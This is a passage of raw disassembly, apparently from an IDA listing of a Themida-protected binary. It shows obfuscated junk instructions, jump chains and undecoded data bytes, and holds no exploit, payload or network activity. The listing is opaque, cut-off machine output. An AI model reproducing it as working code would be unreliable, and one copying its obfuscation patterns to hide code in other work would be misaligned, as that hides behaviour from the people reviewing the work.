		dd 2867EF80h, 0CE9BE9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_504D52:				; CODE XREF: Themida_:00506783j
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6504E7Bh
		sub	edx, 7A402358h
		neg	edx
		shl	edx, 2
		push	ecx
		mov	ecx, 4FEA1576h
		sub	edx, ecx
		pop	ecx
		jmp	loc_5071F1
; ---------------------------------------------------------------------------
		dw 6C01h
		dd 40E90424h, 81FFFFD1h, 4ECh, 3CA9E900h, 0D1F70000h, 0FFEBAEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_504D95:				; CODE XREF: Themida_:0050AA87j
		mov	[esp], ecx
		jmp	loc_504618
; ---------------------------------------------------------------------------


loc_504D9D:				; CODE XREF: Themida_:005037EFj
		or	eax, eax
		jz	loc_509F84
		push	ebx
		push	edx
		jmp	loc_50038F
; ---------------------------------------------------------------------------
		dd 0C3815B54h, 4, 4BF57h, 0FB010000h, 85E9535Fh, 1FFFFE6h
		dd 24048BC1h, 4C481h, 0E9830000h, 240C8704h, 97DE9h, 1D50BE00h
		dd 0F6815FAEh, 5C8E3D18h, 0DBE9D6F7h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_504DEB:				; CODE XREF: Themida_:0050461Fj
		mov	eax, ebx
		mov	ecx, eax
		pop	eax
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		sub	[edi+24h], ecx
		mov	ecx, [esp]
		push	ebp
		jmp	loc_504709
; ---------------------------------------------------------------------------


loc_504E0B:				; CODE XREF: Themida_:00502E91j
		mov	ebp, [esp]
		jmp	loc_509E80
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4EA8300h, 5C241487h, 0E9243489h, 0FFFFC79Ch, 0E904EC83h
		dd 0FFFFEE7Dh, 4240481h, 5E000000h, 332E9h, 240C8700h
		dd 6624248Bh, 2404B30Fh, 0A273E99Ch, 8966FFFFh,	6AE92404h
		dd 1FFFFA2h, 15A5FFEh, 0E9D15EF1h, 29B8C981h, 0F18178C8h
		dd 78FDEFFFh, 241C8B51h, 4C481h, 0E9590000h, 47EAh
; ---------------------------------------------------------------------------


loc_504E7C:				; CODE XREF: Themida_:00502696j
		add	esi, 2685405Ch
		pop	ebx
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_507899
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5804h, 24248B24h,	9C2404D3h, 0FFA220E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_504EA1:				; CODE XREF: Themida_:00501AABj
		mov	ebx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		push	ebx
		jmp	loc_50A2D4
; ---------------------------------------------------------------------------


loc_504EB4:				; CODE XREF: Themida_:00508AC9j
		push	eax
		mov	esi, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		and	eax, esi
		pop	esi
		or	edx, eax
		jmp	loc_509528
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 0FFFFD7F4h, 6492068h, 0A96FE97Ch, 0C89FFFFh
		dd 587B6824h, 24890000h, 2348E924h, 295E0000h, 80C381EBh
		dd 5D61C955h, 31241C33h, 1C33241Ch, 0D67AE924h,	8B54FFFFh
		dd 0C483240Ch, 4C18104h, 83000000h, 0C8702C1h, 2CD25C24h
		dd 9EE99C24h, 5FFFFA1h,	1D6961B5h, 0FFBE50E9h, 5AD188FFh
		dd 32240C30h, 0C30240Ch, 0A183E924h, 1489FFFFh,	3D95E924h
		dd 34870000h, 0DEF75C24h, 5548BD55h, 0B6E93BBCh, 0E9FFFFA9h
		dd 0FFFFA165h
; ---------------------------------------------------------------------------


loc_504F5C:				; CODE XREF: Themida_:005007D8j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_508062
; ---------------------------------------------------------------------------


loc_504F67:				; CODE XREF: Themida_:004FFA7Bj
		mov	edi, 11D579BFh
		jmp	loc_5077A1
; ---------------------------------------------------------------------------
		db 0E9h, 4Bh, 0A1h
		dd 0F801FFFFh, 6E0C15Fh, 0D12D3C2Dh, 58C10142h,	5102C183h
		dd 42474FFh, 3922E9h, 81C32900h, 3B4F26C3h, 0BEEB8132h
		dd 0E91A6724h, 0FFFFAFFFh, 0F708EEC1h, 0C1EE81DEh, 5540A14Dh
		dd 0FFEC68E9h, 4C781FFh, 83000000h, 3C8704C7h, 0BA525C24h
		dd 0E547D90h, 0E95AD001h, 359Ch
; ---------------------------------------------------------------------------


loc_504FD0:				; CODE XREF: Themida_:0050A5C1j
		add	edi, 4BB16481h
		xor	edi, 0FD4F73E2h
		mov	ebp, edi
		pop	edi
		mov	esi, ebp
		pop	ebp
		push	eax
		mov	eax, 164E49D2h
		shl	eax, 6
		dec	eax
		shl	eax, 6
		jmp	loc_50188C
; ---------------------------------------------------------------------------
		dd 0C89665Ch, 0A0C3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_504FFE:				; CODE XREF: Themida_:005009DDj
		push	ebx
		mov	ebx, 375B3BA4h
		shr	ebx, 6
		inc	ebx
		jmp	loc_50898E
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 1Fh
		dd 894E8BE7h, 0C3815FFBh, 1E636762h, 94E9FB29h,	1FFFFA1h
		dd 65C281CAh, 5904AB70h, 0FFA916E9h, 241C8BFFh,	0E904C483h
		dd 0FFFFCBF5h, 95F5957h, 34FF1C4Fh, 0E9685924h,	89000034h
		dd 0E0892404h, 69DC68h,	241C8900h, 0FA2A02BBh, 13F3816Ch
		dd 0F7417842h, 0EABD55D3h, 31D27D97h, 0D8015DEBh, 83241C8Bh
		dd 0C08304C4h, 24048704h, 0A03FE95Ch, 31ADFFFFh, 6852D8h
		dd 0E9000070h, 0FFFFE92Bh, 0E9240C89h, 0FFFFFE6Eh, 3218B850h
		dd 0E9483B94h, 4882h, 16D4EB81h, 0EB816B69h, 1FA3296h
		dd 815BDE21h, 60620F6h,	5EF38910h, 73A0C381h, 0FB014F78h
		dd 73A0EB81h, 8E684F78h, 89000009h, 99BF243Ch, 0C75ACE67h
		dd 31986803h, 8B3B01A5h, 0C483243Ch, 2434FF04h,	0E289525Bh
		dd 4C281h, 0C2830000h, 24148704h, 4EC835Ch, 54243C89h
		dd 10E9515Fh, 89000060h, 0EABD242Ch, 564E3C69h,	0A66692BEh
		dd 0BECE8142h, 0C135DB69h, 0EE8105E6h, 91528FA4h, 8107E6C1h
		dd 204F89C6h, 1BB537Eh,	1000000h, 0F6815BDEh, 85E83460h
		dd 0B8E9F531h, 31FFFFF4h, 0DF355FF8h, 813F2D36h, 0A23714EFh
		dd 81C70165h, 0A23714C7h, 3C335865h, 0D9EBE924h, 2768FFFFh
		dd 89000019h, 52E9240Ch, 81FFFF9Fh, 4C6h, 2BA5200h, 0E9000000h
		dd 60A9h, 241C895Ch, 0FFB75DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_505189:				; CODE XREF: Themida_:00508650j
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_507615
; ---------------------------------------------------------------------------
		db 8Fh
		dd 7AE92404h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5051A7:				; CODE XREF: Themida_:005027BFj
		xchg	edi, [esp]
		pop	esp
		sub	ch, 0F3h
		sub	ch, 0BEh
		add	al, 0EFh
		sub	al, ch
		sub	al, 0EFh
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	ecx
		jmp	loc_506945
; ---------------------------------------------------------------------------
		dd 4C481h, 14330000h, 24143124h, 8B241433h, 0F662424h
		dd 9C2404BBh, 4A5FE9h, 8E0C100h, 4BE9D8F7h, 87000002h
		dd 0ECE92404h, 66000010h, 2404AB0Fh, 9EC3E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5051FE:				; CODE XREF: Themida_:004FF9BDj
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------


loc_505203:				; CODE XREF: Themida_:0050279Fj
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5018D3
; ---------------------------------------------------------------------------


loc_505219:				; CODE XREF: Themida_:0050209Fj
		mov	[esp], ebx
		push	ebp
		push	edx
		jmp	loc_506A66
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h, 0E9CA0100h, 0FFFFEACFh, 8904EC83h, 4832424h, 0E9E90424h
		dd 0C1FFFFF2h, 0C38105EBh, 4CBC8C7Ch, 685BD829h, 266Eh
		dd 0E9241489h, 0FFFFEA6Dh, 0E956C301h, 0FFFFD29Ch, 1A79B0BBh
		dd 58CDE90Dh, 215E0000h, 81455AD5h, 681550C5h, 0E9EA8924h
		dd 0FFFFF3EDh
; ---------------------------------------------------------------------------


loc_50527C:				; CODE XREF: Themida_:0050880Cj
		push	4
		pop	edi
		jmp	loc_503C38
; ---------------------------------------------------------------------------
		db 66h
		dd 8124148Bh, 2C4h, 4EAC000h, 0C280D2F6h, 0B3CCE911h, 0D4BBFFFFh
		dd 816B7C5Bh, 4276F3h, 0FF91E903h, 0F381FFFFh, 7609630h
		dd 3CF7E9h, 0E9535100h,	0FFFFC986h, 746B50BEh, 3992E952h
		dd 4870000h, 34335C24h,	24343124h, 623E9h, 243C8700h, 8924248Bh
		dd 0D1E9240Ch, 0FFFFFFE0h, 59042474h, 8B24048Fh, 24D22424h
		dd 0C6E99C24h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5052FB:				; CODE XREF: Themida_:005096FCj
		add	ecx, 57BE69C5h
		mov	esi, [esp]
		push	edi
		jmp	loc_5012B0
; ---------------------------------------------------------------------------
		dw 0BDh
		dd 0C13E3830h, 0D5F707E5h, 81DDF74Dh, 930E7DCDh, 85C58115h
		dd 1E264F1h, 1C875DEBh,	0EB815C24h, 7B5E74A5h, 0BF57C329h
		dd 7B5E74A5h, 525FFB01h, 0DE5392BAh, 3CD5E969h,	34FF0000h
		dd 2434FF24h, 3CE1E958h, 0CB010000h, 0D2FEB81h,	815941F8h
		dd 8D2509E9h, 81D90143h, 8D2509C1h, 2434FF43h, 4C4815Bh
		dd 83000000h, 0C8702C1h, 0F95BE924h, 3C87FFFFh,	2C895C24h
		dd 0BD555024h, 2902713Ch, 4246C01h, 83242C8Bh, 2C8B04C4h
		dd 4C48124h, 51000000h,	65BA5256h, 0BE69000Ch, 91116AE7h
		dd 0E95AD629h, 4B94h
; ---------------------------------------------------------------------------


loc_5053B4:				; CODE XREF: Themida_:004FF145j
		pop	esp
		push	ecx
		mov	ecx, 60F45602h
		xor	ecx, 50667407h
		push	ebp
		jmp	loc_504A60
; ---------------------------------------------------------------------------
		db 0Fh
		dd 34FFC0B6h, 215A6887h, 1C890000h, 773BBB24h, 6C810B44h
		dd 6EA50424h, 72E91990h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5053E7:				; CODE XREF: Themida_:00501EDCj
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, ebx
		jmp	loc_502AE9
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
aPsw		db 'Pw-',0
		align 2
aLS7		db '$$*7',0
		align 2
		dw 15Dh
		dd 0BD69E9D9h, 0C083FFFFh, 24048704h, 9CA3E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50541E:				; CODE XREF: Themida_:00505D72j
		mov	edx, 20h
		add	edx, 1B225E27h
		sub	edx, 7EAB6E7Ah
		add	edx, edi
		jmp	loc_50466F
; ---------------------------------------------------------------------------
		dw 0C425h
		dd 2D30D15Eh, 0A593F784h, 8758C789h
		db 2 dup(0F7h)
aSf@		db 'F@',0             ; DATA XREF: ___:off_4274D8o
		align 4
		dd 6C2BBD55h, 0CD817791h, 42E507DBh, 7C09F581h,	0BF5721A8h
		dd 7EDF4A3Fh, 0C15FFD01h, 0B85002E5h, 0AB0E8740h, 158C501h
		dd 0B8505DEEh, 39284F38h, 0D7B0CC05h, 58C601C6h, 5C243487h
		dd 5C24048Fh, 240C8966h, 0C8B60F66h, 0E99C5166h, 5BD2h
		dd 5866C688h, 4BE9D7F6h, 1FFFFC3h, 0A140E9C2h, 0C780FFFFh
		dd 5BFC2842h, 8011EC80h, 0B753F9E4h, 0C6A7E92Dh, 8B66FFFFh
		dd 93682404h, 8900002Ch, 61682404h, 8900001Dh, 0BD552424h
		dd 4, 4246C01h,	405585Dh, 56000000h, 1515A9BEh,	42E9463Dh
		dd 66FFFFBFh, 1EA81h, 244BE9h, 30C7B000h, 602C5AF0h, 6004E828h
		dd 0E9240C8Bh, 195Ah, 0E5BB5357h, 0F7286F2Dh, 81D3F7D3h
		dd 6F2DE1EBh, 9FC9E928h, 6866FFFFh, 89662D43h, 5EE92414h
		dd 0BE000033h, 68A96EF0h, 412DE953h, 0C5680000h, 8900002Eh
		dd 0EC832434h, 242C8904h, 0FF9BD9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_505551:				; CODE XREF: Themida_:00505BF9j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_502C60
; ---------------------------------------------------------------------------
		db 0BAh
		dd 64FD3B92h, 4A05E2C1h, 0EA81D2F7h, 232F178Eh,	12C0E281h
		dd 0BB537F16h, 0C2FFEE04h, 27D9E9h, 81E68900h, 4C6h, 0BD555000h
		dd 7C952769h, 0D89BC581h, 0E889836Ah, 0E9C6015Dh, 0FFFFCF49h
		dd 0C8A5E950h, 0B850FFFFh, 5ED03A0Ch, 2971E952h, 8B660000h
		dd 0E9512404h, 0FFFFCD92h, 108CF381h, 0FFE91EC8h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5055C7:				; CODE XREF: Themida_:00504377j
		push	edx
		mov	edx, 7844166Dh
		push	esi
		mov	esi, 3CBC212Eh
		shr	esi, 7
		add	esi, 452FA1D6h
		sub	edx, esi
		pop	esi
		and	edx, 2EDA65D6h
		neg	edx
		not	edx
		sub	edx, 229A644Fh
		mov	edi, edx
		pop	edx
		add	ebp, edi
		jmp	loc_506CF5
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 9Fh
		dd 1154B1Ch, 0F0895AD6h, 2444815Eh, 9404B904h, 2444016Eh
		dd 246C8104h, 9404B904h, 24048B6Eh, 4C481h, 34FF0000h
		dd 89575E24h, 0CD09E9E7h, 0EA81FFFFh, 79FC787Fh, 0C281CA29h
		dd 79FC787Fh, 1A06EA81h, 2959022Bh, 3EB951C2h, 0E966C71Fh
		dd 54C1h, 4B850h, 0C1010000h, 4EC8358h,	1782E9h, 0E9566600h
		dd 68Ch, 59C368h, 0A461E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_505672:				; CODE XREF: Themida_:005065EBj
		push	ax
		pushf
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------
		dw 0C688h
		dd 8B5AF788h, 0C4812404h, 4, 2244C8Ah, 0FFBFB1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_505691:				; CODE XREF: Themida_:00507EFCj
		add	ebp, 23C28h
		neg	ebp
		sub	ebp, 23D27751h
		neg	ebp
		shl	ebp, 6
		sub	ebp, 1472D022h
		sub	eax, ebp
		pop	ebp
		jmp	loc_5094A8
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0B9510000h, 4, 733CEE81h, 0CE016039h, 534768h
		dd 243C8900h, 0FFC8FDE9h, 0BB535AFFh, 213841CAh, 63E9D829h
		dd 33FFFFCEh, 665C2414h, 6866E9F7h, 0CBE950FBh
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5056F3:				; CODE XREF: Themida_:00500965j
		sub	ebx, 9A0A5B1Dh
		add	ebp, ebx
		jmp	loc_503BC9
; ---------------------------------------------------------------------------
		dd 4CFE9ADh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_505706:				; CODE XREF: Themida_:0050599Dj
		sub	esp, 4
		mov	[esp], edi
		pop	dword ptr [edx+30h]
		mov	edi, [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		jmp	loc_50809E
; ---------------------------------------------------------------------------
		db 0FEh
		dd 49B652CBh, 148BF330h, 15FAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50572E:				; CODE XREF: Themida_:00506B8Cj
		pop	edx
		push	eax
		mov	eax, 3832438Ah
		xor	eax, 3832438Eh
		jmp	loc_5010C0
; ---------------------------------------------------------------------------
		db 66h
		dd 51240C8Bh, 1ED1E954h, 0E0890000h, 6C5668h, 0A7E900h
		dd 895C0000h, 4CB5240Ch, 0C5FECDFEh, 50F580h, 0B60F59EBh
		dd 87048DC0h, 277C68h, 24048900h, 0FF9948E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_505779:				; CODE XREF: Themida_:00506484j
		add	esi, 4
		add	esi, 4
		jmp	loc_506EDE
; ---------------------------------------------------------------------------
		dw 60B9h
		dd 3124347Eh, 0EDC159CDh, 83C58104h, 2919AA29h,	242C8BEEh
		dd 543A68h, 242C8900h, 0E957E589h, 0FFFFB906h, 81DFF75Dh
		dd 0D41F56C7h, 0FFBA524Ah, 29FFFFFFh, 0E7815AD7h, 1C154B63h
		dd 0FF57D7F7h, 815F2404h, 438184C7h, 3FC38185h,	1729F75h
		dd 3409E9FBh, 89530000h, 4C381E3h, 83000000h, 1C3304C3h
		dd 241C3124h, 5C241C33h, 0FF98C4E9h, 241489FFh,	4BAh, 0E9D00100h
		dd 54DFh
; ---------------------------------------------------------------------------


loc_50580C:				; CODE XREF: Themida_:00501CA4j
		pop	esi
		push	edi
		mov	edi, 29B818C0h
		sub	edi, 640B06F1h
		sub	edi, 0C5AD11CBh
		add	esi, 1E0697Ch
		add	esi, edi
		sub	esi, 1E0697Ch
		jmp	loc_504B83
; ---------------------------------------------------------------------------
aQ__TNYQ	db 'Q._t)Y-',0Bh,0Bh,'q',0
		db 5, 0D8h, 74h
		dd 0F80167BFh, 0BF74D82Dh, 0B0B0567h, 3C8B0071h, 4C48324h
		dd 83E9D801h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_505863:				; CODE XREF: Themida_:00504208j
		sub	ebp, 0B7593F07h
		sub	ecx, ebp
		pop	ebp
		push	5572h
		mov	[esp], edi
		push	26C737A2h
		pop	edi
		jmp	loc_5096EE
; ---------------------------------------------------------------------------
		db 89h
		dd 24348BF3h, 4C481h, 0D8010000h, 81241C8Bh, 4C4h, 2C08300h
		dd 2474FF50h, 48F5804h,	24248B24h, 240C8B66h, 7C3B6856h
		dd 8F540000h, 0BF572404h, 4, 0FFAA49E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5058BD:				; CODE XREF: Themida_:005007F8j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_501229
; ---------------------------------------------------------------------------
aQNeSs		db 'QnE^',0Bh,'S',8,0
		dd 0C6E95A00h, 81FFFFBBh, 4C6h,	24348700h, 6824248Bh, 3F97h
		dd 0E9241489h, 30FCh
; ---------------------------------------------------------------------------


loc_5058F4:				; CODE XREF: Themida_:00509765j
		add	ebx, eax
		pop	eax
		jmp	loc_505BFE
; ---------------------------------------------------------------------------
a34LSbv		db '34$$$bV',0
		dw 8900h
		dd 0D5E9241Ch, 5000044h, 4, 405h, 0F9ACE900h, 0CF88FFFFh
		dd 322E9h, 6002BF00h, 0E7C131D8h, 0E0EF8108h, 837C4608h
		dd 0E955FFC7h, 22B2h, 0EF3C43BAh, 4359E943h, 0B0040000h
		dd 0EC81D828h, 4, 495DE9h, 5AF38800h, 240C8B58h, 0FFE2B4E9h
		dd 1CEB80FFh, 0FFCEABE9h, 8BF828FFh, 0C481241Ch, 4, 0C7307F04h
		dd 8124048Bh, 4C4h, 0F6D78600h,	0FED786D2h, 0B15166C7h
		dd 0E9CF0896h, 399Ch
; ---------------------------------------------------------------------------


loc_505994:				; CODE XREF: Themida_:00509A7Aj
		xor	ebp, 0D49A7EA9h
		sub	edi, ebp
		pop	ebp
		jmp	loc_505706
; ---------------------------------------------------------------------------


loc_5059A2:				; CODE XREF: Themida_:0050714Ej
		add	edi, ebp
		pop	ebp
		jmp	loc_507352
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 6804E7C1h, 4A6Eh, 0FFE919E9h, 6C64B8FFh, 9B055505h
		dd 357FEA37h, 3E3E31C4h, 4DE95057h, 1FFFF9Eh, 8B2DE8h
		dd 8AE93D62h, 0FE000032h, 4A804C8h, 0F60C0CB0h,	0B5B353D8h
		dd 0FE07E3C0h, 0A574E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5059F2:				; CODE XREF: Themida_:00502DDCj
		mov	bh, 0B8h
		push	ecx
		mov	ch, 1Ah
		sub	ch, 0D7h
		shr	ch, 3
		xor	ch, 0C4h
		and	bh, ch
		pop	ecx
		sub	bh, 0E5h
		shl	bh, 6
		sub	bh, 0F1h
		add	al, 0CEh
		sub	al, 1Ch
		add	al, bh
		add	al, 1Ch
		push	ecx
		jmp	loc_503BE1
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 0F7A2E924h, 0C281FFFFh, 1151240h, 0FFA583E9h, 148B66FFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		jmp	loc_506B56
; ---------------------------------------------------------------------------
		db 21h,	0C7h, 58h
		dd 0FFE467E9h, 4C481FFh, 88000000h, 0E38058C3h,	36C380E4h
		dd 0CFE95266h, 83000001h, 0D3F701C3h, 1BF57h, 0BBE90000h
		dd 81FFFFA9h, 4C7h, 362CE900h, 4810000h, 424h, 9768E900h
		dd 0C483FFFFh, 0E9C104h, 840FC00Bh, 433Ah, 8904EC83h, 0BF57241Ch
		dd 5E97014Fh, 4247C29h,	0FFB839E9h, 8734FFFFh, 0FF960CE9h
		dd 3FCDB8FFh, 0D8F7751Ah, 0E0C1D0F7h, 4CE95708h, 5000046h
		dd 40E34930h, 302DD801h, 0E940E349h, 42EFh, 0E9242C87h
		dd 0FFFFDFF0h, 45B542Ch, 2CD8004Dh, 0B652534Dh,	1BE95352h
		dd 68000056h, 4, 0CE77E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_505AFE:				; CODE XREF: Themida_:0050A7B1j
		add	al, 1Fh
		sub	al, bl
		jmp	loc_5094A1
; ---------------------------------------------------------------------------
		db 81h
		dd 0F16B86E6h, 0B9E94644h, 2D000048h, 0FFFFFFFFh, 4FBBC805h
		dd 7DFE9CCh, 4050000h, 0E9000000h, 30DDh, 9C240428h, 13BBE9h
		dd 2DAFBE00h, 0D6F7790Ah, 14CEE9h, 5C70500h, 90055145h
		dd 2D0C1042h, 290F3A6Dh, 0DD63352Dh, 0E6895677h, 4BF57h
		dd 0FE010000h, 4EE835Fh, 5C243487h, 0BE243489h,	21D5638Dh
		dd 9AE9FE87h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_505B77:				; CODE XREF: Themida_:00508016j
		push	ecx
		mov	ecx, 7CE35FC5h
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_5087EB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC832424h, 2122E904h, 0BD550000h, 27617758h, 429BE9h
		dd 31E36800h, 88E90000h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_505BA7:				; CODE XREF: Themida_:00502E71j
		push	ebx
		mov	ebx, 47B15407h
		shl	ebx, 8
		neg	ebx
		add	ebx, 3F2E7BA1h
		jmp	loc_506216
; ---------------------------------------------------------------------------


loc_505BBD:				; CODE XREF: Themida_:00506869j
		mov	edx, ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_502A12
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFA4CAE9h, 68D831FFh, 1F32h, 56241C89h, 467AE9h, 0E9EE3100h
		dd 0FFFFE23Fh, 0CCA8E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_505BF2:				; CODE XREF: Themida_:005097CCj
		pop	ebp
		add	esp, 4
		jmp	loc_505551
; ---------------------------------------------------------------------------


loc_505BFE:				; CODE XREF: Themida_:005058F7j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	0C66h
		jmp	loc_50B1D1
; ---------------------------------------------------------------------------
		db 50h
		dd 0E688EC88h, 0DAE95958h, 0BBFFFFC6h, 346CD80Fh, 0F1E9DF01h
		dd 0BDFFFFC5h, 41DF57BAh, 0BC54E955h, 0C0B2FFFFh, 1F74E9h
		dd 241C8900h, 8904EC83h, 7EE92424h, 8BFFFFADh, 9EE9240Ch
		dd 0FF000006h, 669D1C77h, 2414D359h, 9463E99Ch,	48FFFFFh
		dd 24248B24h, 81240C89h, 4ECh, 241C8900h, 0FF9670E9h, 48F5BFFh
		dd 24248B24h, 0FFC133E9h, 48B54FFh, 4C48124h, 0E9000000h
		dd 0FFFFB4CFh, 24048B66h, 4EC81h, 14890000h, 83E28924h
		dd 3C8904ECh, 3E57BF24h, 0E7D1371Bh, 7CAAF781h,	0EA816E36h
		dd 722F2C5Eh, 0C281FA01h, 722F2C5Eh, 2C2815Fh, 0E9000000h
		dd 12Ah, 0E9242C31h, 52CEh, 40559h, 4870000h, 0DEE95C24h
		dd 52FFFF93h, 0AD8E9h
		db 0
; ---------------------------------------------------------------------------


loc_505CE9:				; CODE XREF: Themida_:004FFCA7j
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_50AD3A
; ---------------------------------------------------------------------------
		dd 0BBC5BE66h, 66F03166h, 0C568665Eh, 489662Eh,	2C816624h
		dd 66468924h, 0C581665Dh, 66584689h, 2246C01h, 0FFDC7DE9h
		dd 3C8B54FFh, 4C48324h,	4BA52h,	80E90000h, 81FFFFBBh, 0E20CFFE5h
		dd 20ED8151h, 29EC54B2h, 0E7C15DEFh, 7EBD5508h,	8176BC08h
		dd 9439EEC5h, 8EDC143h,	3889C581h, 0EF29340Bh, 0E9242C8Bh
		dd 15C4h
; ---------------------------------------------------------------------------


loc_505D60:				; CODE XREF: Themida_:005062C3j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_50A1DB
		push	6D1Ch
		mov	[esp], edx
		jmp	loc_50541E
; ---------------------------------------------------------------------------
		db 81h
		dd 5677242Ch, 575E4168h, 685677BFh, 0F0CDE941h,	14F7FFFFh
		dd 3204E924h, 875C0000h, 0A0E92434h, 81FFFFDBh,	4C4h, 95E95200h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_505DA7:				; CODE XREF: Themida_:00509CACj
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_505EB5
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0BF570000h, 1D516731h, 0FFA68EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_505DC5:				; CODE XREF: Themida_:0050A6C4j
		sub	edx, 32476252h
		sub	edx, 191A52FFh
		pop	ecx
		jmp	loc_4FF0C1
; ---------------------------------------------------------------------------
		db 59h
		dd 106F68h, 241C8900h, 0FFC693E9h, 5FF801FFh, 3506E0C1h
		dd 2C0D84DEh, 0E6DFE955h, 268FFFFh, 89000073h, 74FF2414h
		dd 34FF0424h, 24148B24h, 8104C483h, 4C4h, 24048F00h, 0FFF5E9E9h
		dd 243487FFh, 0FFCCECE9h, 0C8005AFFh, 29043A04h, 83240C8Bh
		dd 0CF6804C4h, 8900006Ah, 0A3B5240Ch, 0CDFECDFEh, 0DB61E953h
		dd 0E281FFFFh, 541477B5h, 5606EAC1h, 0AF3C64BEh, 0D9E94E47h
		dd 5D00003Ah, 0E92434FFh, 4A9h,	5D61C181h, 815E1625h, 2C1h
		dd 4629E900h, 47BE0000h, 530B893Eh, 9C7DAEBBh, 0DAEB815Bh
		dd 13699B5h, 0EEC15BDEh, 5DBF5704h, 0E9A66090h,	1E6Fh
; ---------------------------------------------------------------------------


loc_505E94:				; CODE XREF: Themida_:0050A1F4j
		sub	ebp, eax
		pop	eax
		or	ebp, 24C34A8Ch
		jmp	loc_503CF4
; ---------------------------------------------------------------------------


loc_505EA2:				; CODE XREF: Themida_:00503710j
		mov	ebx, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5073E8
; ---------------------------------------------------------------------------


loc_505EB5:				; CODE XREF: Themida_:00505DADj
		pop	edx
		jmp	loc_5038E3
; ---------------------------------------------------------------------------


loc_505EBB:				; CODE XREF: Themida_:00502FE4j
		pop	esi
		jmp	loc_503AF0
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E984F780h, 0F3Dh
; ---------------------------------------------------------------------------


loc_505ECC:				; CODE XREF: Themida_:00500F05j
		mov	esp, [esp]
		jmp	loc_500A19
; ---------------------------------------------------------------------------


loc_505ED4:				; CODE XREF: Themida_:00500916j
		push	4A180C1Bh
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	eax, 25181410h
		jmp	loc_50A7F4
; ---------------------------------------------------------------------------
		dw 0FD89h
		dd 0E92434FFh, 23F7h, 0DBF6C3FEh, 282DC380h, 782C5BD8h
		dd 30E95966h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_505F13:				; CODE XREF: Themida_:00508F91j
		mov	esi, esp
		jmp	loc_50AB3E
; ---------------------------------------------------------------------------
		dw 814Fh
		dd 0F8A241C7h, 0C660E999h, 0CDFEFFFFh, 23BEE9h,	2EEE8100h
